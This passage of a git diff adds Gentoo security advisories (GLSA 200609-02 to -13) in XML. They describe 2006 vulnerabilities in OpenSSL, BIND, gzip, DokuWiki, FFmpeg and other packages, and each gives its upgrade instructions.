+    GTetrinet is a networked Tetris clone for GNOME 2.
+    </p>
+  </background>
+  <description>
+    <p>
+    Michael Gehring has found that GTetrinet fails to properly handle array
+    indexes.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can potentially execute arbitrary code by sending a
+    negative number of players to the server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GTetrinet users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-puzzle/gtetrinet-0.7.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3125">CVE-2006-3125</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 05 Sep 2006 17:41:35 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 05 Sep 2006 18:25:31 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 05 Sep 2006 19:36:59 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-03.xml b/xml/htdocs/security/en/glsa/glsa-200609-03.xml
new file mode 100644
index 00000000..2b192ac9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-03.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-03">
+  <title>OpenTTD: Remote Denial of Service</title>
+  <synopsis>
+    The OpenTTD server is vulnerable to a remote Denial of Service.
+  </synopsis>
+  <product type="ebuild">openttd</product>
+  <announced>September 06, 2006</announced>
+  <revised>September 06, 2006: 01</revised>
+  <bug>131010</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-simulation/openttd" auto="yes" arch="*">
+      <unaffected range="ge">0.4.8</unaffected>
+      <vulnerable range="lt">0.4.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenTTD is a clone of Transport Tycoon Deluxe.
+    </p>
+  </background>
+  <description>
+    <p>
+    OpenTTD is vulnerable to a Denial of Service attack due to a flaw in
+    the manner the game server handles errors in command packets.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An authenticated attacker can cause a Denial of Service by sending an
+    invalid error number to a vulnerable OpenTTD server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenTTD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-simulation/openttd-0.4.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1998">CVE-2006-1998</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1999">CVE-2006-1999</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 05 Sep 2006 13:05:28 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 05 Sep 2006 18:04:07 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 06 Sep 2006 14:54:55 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-04.xml b/xml/htdocs/security/en/glsa/glsa-200609-04.xml
new file mode 100644
index 00000000..3933da40
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-04.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-04">
+  <title>LibXfont: Multiple integer overflows</title>
+  <synopsis>
+    A buffer overflow was discovered in the PCF font parser, potentially
+    resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">LibXfont</product>
+  <announced>September 06, 2006</announced>
+  <revised>September 06, 2006: 01</revised>
+  <bug>144092</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-libs/libXfont" auto="yes" arch="*">
+      <unaffected range="ge">1.2.0-r1</unaffected>
+      <vulnerable range="lt">1.2.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libXfont is the X.Org Xfont library, some parts are based on the
+    FreeType code base.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several integer overflows have been found in the PCF font parser.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could possibly execute arbitrary code or crash the
+    Xserver by enticing a user to load a specially crafted PCF font file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not use untrusted PCF Font files.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libXfont users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/libXfont-1.2.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3467">CVE-2006-3467</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 31 Aug 2006 17:04:06 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 03 Sep 2006 12:10:42 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 05 Sep 2006 19:36:43 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-05.xml b/xml/htdocs/security/en/glsa/glsa-200609-05.xml
new file mode 100644
index 00000000..02a10f79
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-05.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-05">
+  <title>OpenSSL, AMD64 x86 emulation base libraries: RSA signature forgery</title>
+  <synopsis>
+    OpenSSL fails to properly validate PKCS #1 v1.5 signatures.
+  </synopsis>
+  <product type="ebuild">openssl</product>
+  <announced>September 07, 2006</announced>
+  <revised>September 08, 2006: 02</revised>
+  <bug>146375</bug>
+  <bug>146438</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/openssl" auto="yes" arch="*">
+      <unaffected range="ge">0.9.7k</unaffected>
+      <vulnerable range="lt">0.9.7k</vulnerable>
+    </package>
+    <package name="app-emulation/emul-linux-x86-baselibs" auto="yes" arch="amd64">
+      <unaffected range="ge">2.5.2</unaffected>
+      <vulnerable range="lt">2.5.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSL is a toolkit implementing the Secure Sockets Layer, Transport
+    Layer Security protocols and a general-purpose cryptography library.
+    The x86 emulation base libraries for AMD64 contain a vulnerable version
+    of OpenSSL.
+    </p>
+  </background>
+  <description>
+    <p>
+    Daniel Bleichenbacher discovered that it might be possible to forge
+    signatures signed by RSA keys with the exponent of 3.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Since several CAs are using an exponent of 3 it might be possible for
+    an attacker to create a key with a false CA signature.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/openssl-0.9.7k&quot;</code>
+    <p>
+    All AMD64 x86 emulation base libraries users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-baselibs-2.5.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4339">CVE-2006-4339</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 05 Sep 2006 19:16:58 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 06 Sep 2006 10:57:51 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 07 Sep 2006 20:02:33 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-06.xml b/xml/htdocs/security/en/glsa/glsa-200609-06.xml
new file mode 100644
index 00000000..8ebe8a20
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-06.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-06">
+  <title>AdPlug: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple heap and buffer overflows exist in AdPlug.
+  </synopsis>
+  <product type="ebuild">adplug</product>
+  <announced>September 12, 2006</announced>
+  <revised>September 12, 2006: 01</revised>
+  <bug>139593</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-libs/adplug" auto="yes" arch="*">
+      <unaffected range="ge">2.0.1</unaffected>
+      <vulnerable range="lt">2.0.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    AdPlug is a free, cross-platform, and hardware-independent AdLib sound
+    player library.
+    </p>
+  </background>
+  <description>
+    <p>
+    AdPlug is vulnerable to buffer and heap overflows when processing the
+    following types of files: CFF, MTK, DMO, U6M, DTM, and S3M.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to load a specially crafted file, an attacker could
+    execute arbitrary code with the privileges of the user running AdPlug.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AdPlug users should update to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/adplug-2.0.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/439432/30/0/threaded">BugTraq Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3581">CVE-2006-3581</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3582">CVE-2006-3582</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 06 Sep 2006 14:38:47 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 06 Sep 2006 23:03:51 +0000">
+    hlieberman
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 12 Sep 2006 00:51:08 +0000">
+    hlieberman
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-07.xml b/xml/htdocs/security/en/glsa/glsa-200609-07.xml
new file mode 100644
index 00000000..2e12744c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-07.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-07">
+  <title>LibXfont, monolithic X.org: Multiple integer overflows</title>
+  <synopsis>
+    Some buffer overflows were discovered in the CID font parser, potentially
+    resulting in the execution of arbitrary code with elevated privileges.
+  </synopsis>
+  <product type="ebuild">libxfont</product>
+  <announced>September 13, 2006</announced>
+  <revised>September 13, 2006: 01</revised>
+  <bug>145513</bug>
+  <access>local and remote</access>
+  <affected>
+    <package name="x11-libs/libXfont" auto="yes" arch="*">
+      <unaffected range="ge">1.2.1</unaffected>
+      <vulnerable range="lt">1.2.1</vulnerable>
+    </package>
+    <package name="x11-base/xorg-x11" auto="yes" arch="*">
+      <unaffected range="ge">7.0</unaffected>
+      <vulnerable range="lt">7.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libXfont is the X.Org Xfont library, some parts are based on the
+    FreeType code base.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several integer overflows have been found in the CID font parser.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability by enticing a user
+    to load a malicious font file resulting in the execution of arbitrary
+    code with the permissions of the user running the X server which
+    typically is the root user. A local user could exploit this
+    vulnerability to gain elevated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable CID-encoded Type 1 fonts by removing the "type1" module and
+    replacing it with the "freetype" module in xorg.conf.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libXfont users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/libXfont-1.2.1&quot;</code>
+    <p>
+    All monolithic X.org users are advised to migrate to modular X.org.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-3739">CVE-2006-3739</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-3740">CVE-2006-3740</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 12 Sep 2006 16:30:32 +0000">
+    frilled
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 12 Sep 2006 18:16:51 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 13 Sep 2006 08:07:36 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-08.xml b/xml/htdocs/security/en/glsa/glsa-200609-08.xml
new file mode 100644
index 00000000..1ff0c297
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-08.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-08">
+  <title>xine-lib: Buffer overflows</title>
+  <synopsis>
+    xine-lib is vulnerable to multiple buffer overflows that could be exploited
+    to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>September 13, 2006</announced>
+  <revised>September 13, 2006: 01</revised>
+  <bug>133520</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1.1.2-r2</unaffected>
+      <vulnerable range="lt">1.1.2-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine is a high performance, portable and reusable multimedia playback
+    engine. xine-lib is xine's core engine.
+    </p>
+  </background>
+  <description>
+    <p>
+    xine-lib contains buffer overflows in the processing of AVI.
+    Additionally, xine-lib is vulnerable to a buffer overflow in the HTTP
+    plugin (xineplug_inp_http.so) via a long reply from an HTTP server.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could trigger the buffer overflow vulnerabilities by
+    enticing a user to load a specially crafted AVI file in xine. This
+    might result in the execution of arbitrary code with the rights of the
+    user running xine. Additionally, a remote HTTP server serving a xine
+    client a specially crafted reply could crash xine and possibly execute
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/xine-lib-1.1.2-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2802">CVE-2006-2802</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 31 Aug 2006 17:11:30 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 07 Sep 2006 12:33:52 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 12 Sep 2006 15:13:19 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-09.xml b/xml/htdocs/security/en/glsa/glsa-200609-09.xml
new file mode 100644
index 00000000..04efadcc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-09.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-09">
+  <title>FFmpeg: Buffer overflows</title>
+  <synopsis>
+    FFmpeg is vulnerable to multiple buffer overflows that might be exploited
+    to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">ffmpeg</product>
+  <announced>September 13, 2006</announced>
+  <revised>December 13, 2006: 02</revised>
+  <bug>133520</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/ffmpeg" auto="yes" arch="*">
+      <unaffected range="ge">0.4.9_p20060530</unaffected>
+      <vulnerable range="lt">0.4.9_p20060530</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FFmpeg is a very fast video and audio converter.
+    </p>
+  </background>
+  <description>
+    <p>
+    FFmpeg contains buffer overflows in the AVI processing code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could trigger the buffer overflows by enticing a user to
+    load a specially crafted AVI file in an application using the FFmpeg
+    library. This might result in the execution of arbitrary code in the
+    context of the running application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FFmpeg users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/ffmpeg-0.4.9_p20060530&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4799">CVE-2006-4799</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4800">CVE-2006-4800</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 12 Sep 2006 15:05:01 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 12 Sep 2006 15:13:14 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-10.xml b/xml/htdocs/security/en/glsa/glsa-200609-10.xml
new file mode 100644
index 00000000..b28353a9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-10.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-10">
+  <title>DokuWiki: Arbitrary command execution</title>
+  <synopsis>
+    Vulnerabilities in some accessory scripts of DokuWiki allow remote code
+    execution.
+  </synopsis>
+  <product type="ebuild">dokuwiki</product>
+  <announced>September 14, 2006</announced>
+  <revised>September 14, 2006: 01</revised>
+  <bug>146800</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/dokuwiki" auto="yes" arch="*">
+      <unaffected range="ge">20060309d</unaffected>
+      <vulnerable range="lt">20060309d</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    DokuWiki is a wiki targeted at developer teams, workgroups and small
+    companies. It does not use a database backend.
+    </p>
+  </background>
+  <description>
+    <p>
+    "rgod" discovered that DokuWiki doesn't sanitize the X-FORWARDED-FOR
+    HTTP header, allowing the injection of arbitrary contents - such as PHP
+    commands - into a file. Additionally, the accessory scripts installed
+    in the "bin" DokuWiki directory are vulnerable to directory traversal
+    attacks, allowing to copy and execute the previously injected code.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker may execute arbitrary PHP (and thus probably system)
+    commands with the permissions of the user running the process serving
+    DokuWiki pages.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable remote access to the "bin" subdirectory of the DokuWiki
+    installation. Remove the directory if you don't use the scripts in
+    there.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All DokuWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/dokuwiki-20060309d&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4674">CVE-2006-4674</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4675">CVE-2006-4675</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4679">CVE-2006-4679</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 14 Sep 2006 07:55:18 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 14 Sep 2006 15:09:04 +0000">
+    frilled
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-11.xml b/xml/htdocs/security/en/glsa/glsa-200609-11.xml
new file mode 100644
index 00000000..df5d9fd0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-11.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-11">
+  <title>BIND: Denial of Service</title>
+  <synopsis>
+    ISC BIND contains two vulnerabilities allowing a Denial of Service under
+    certain conditions.
+  </synopsis>
+  <product type="ebuild">bind</product>
+  <announced>September 15, 2006</announced>
+  <revised>September 15, 2006: 01</revised>
+  <bug>146486</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/bind" auto="yes" arch="*">
+      <unaffected range="ge">9.3.2-r4</unaffected>
+      <unaffected range="rge">9.2.6-r4</unaffected>
+      <vulnerable range="lt">9.3.2-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ISC BIND is the Internet Systems Consortium implementation of the
+    Domain Name System (DNS) protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Queries for SIG records will cause an assertion error if more than one
+    SIG RRset is returned. Additionally, an INSIST failure can be triggered
+    by sending multiple recursive queries if the response to the query
+    arrives after all the clients looking for the response have left the
+    recursion queue.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker having access to a recursive server can crash the server by
+    querying the SIG records where there are multiple SIG RRsets, or by
+    sending many recursive queries in a short time. The exposure can be
+    lowered by restricting the clients that can ask for recursion. An
+    attacker can also crash an authoritative server serving a DNSSEC zone
+    in which there are multiple SIG RRsets.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BIND 9.3 users should update to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/bind-9.3.2-r4&quot;</code>
+    <p>
+    All BIND 9.2 users should update to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/bind-9.2.6-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4095">CVE-2006-4095</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4096">CVE-2006-4096</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 06 Sep 2006 10:13:53 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 07 Sep 2006 11:28:27 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 14 Sep 2006 22:49:56 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-12.xml b/xml/htdocs/security/en/glsa/glsa-200609-12.xml
new file mode 100644
index 00000000..b434ebf6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-12.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-12">
+  <title>Mailman: Multiple vulnerabilities</title>
+  <synopsis>
+    Mailman has multiple vulnerable that can result in Denial of Service, log
+    file injection and XSS.
+  </synopsis>
+  <product type="ebuild">mailman</product>
+  <announced>September 19, 2006</announced>
+  <revised>September 19, 2006: 01</revised>
+  <bug>139976</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/mailman" auto="yes" arch="*">
+      <unaffected range="ge">2.1.9_rc1</unaffected>
+      <vulnerable range="lt">2.1.9_rc1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mailman is a Python based mailing list server with an extensive web
+    interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mailman fails to properly handle standards-breaking RFC 2231 formatted
+    headers. Furthermore, Moritz Naumann discovered several XSS
+    vulnerabilities and a log file injection.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities to cause Mailman to
+    stop processing mails, to inject content into the log file or to
+    execute arbitrary scripts running in the context of the administrator
+    or mailing list user's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mailman users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/mailman-2.1.9_rc1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2941">CVE-2006-2941</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2006-3636">CVE-2006-3636</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 14 Sep 2006 10:21:53 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 14 Sep 2006 16:20:16 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Sep 2006 07:26:33 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-13.xml b/xml/htdocs/security/en/glsa/glsa-200609-13.xml
new file mode 100644
index 00000000..dba5730a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-13.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-13">
+  <title>gzip: Multiple vulnerabilities</title>
+  <synopsis>
+    gzip is affected by multiple vulnerabilities, including buffer overflows
+    and infinite loops, possibly allowing the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gzip</product>
+  <announced>September 23, 2006</announced>
+  <revised>September 23, 2006: 01</revised>
+  <bug>145511</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/gzip" auto="yes" arch="*">
+      <unaffected range="ge">1.3.5-r9</unaffected>
+      <vulnerable range="lt">1.3.5-r9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gzip, the GNU zip compression utility, is a free and patent
+    unencumbered replacement for the standard compress utility.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Google Security Team has reported multiple
+    vulnerabilities in gzip. A stack buffer modification vulnerability was
+    discovered in the LZH decompression code, where a pathological data
+    stream may result in the modification of stack data such as frame
+    pointer, return address or saved registers. A static buffer underflow
+    was discovered in the pack decompression support, allowing a specially
+    crafted pack archive to underflow a .bss buffer. A static buffer
+    overflow was uncovered in the LZH decompression code, allowing a data
+    stream consisting of pathological huffman codes to overflow a .bss
+    buffer. Multiple infinite loops were also uncovered in the LZH
+    decompression code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker may create a specially crafted gzip archive, which
+    when decompressed by a user or automated system exectues arbitrary code
+    with the privileges of the user id invoking gzip. The infinite loops
+    may be abused by an attacker to disrupt any automated systems invoking
+    gzip to handle data decompression.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
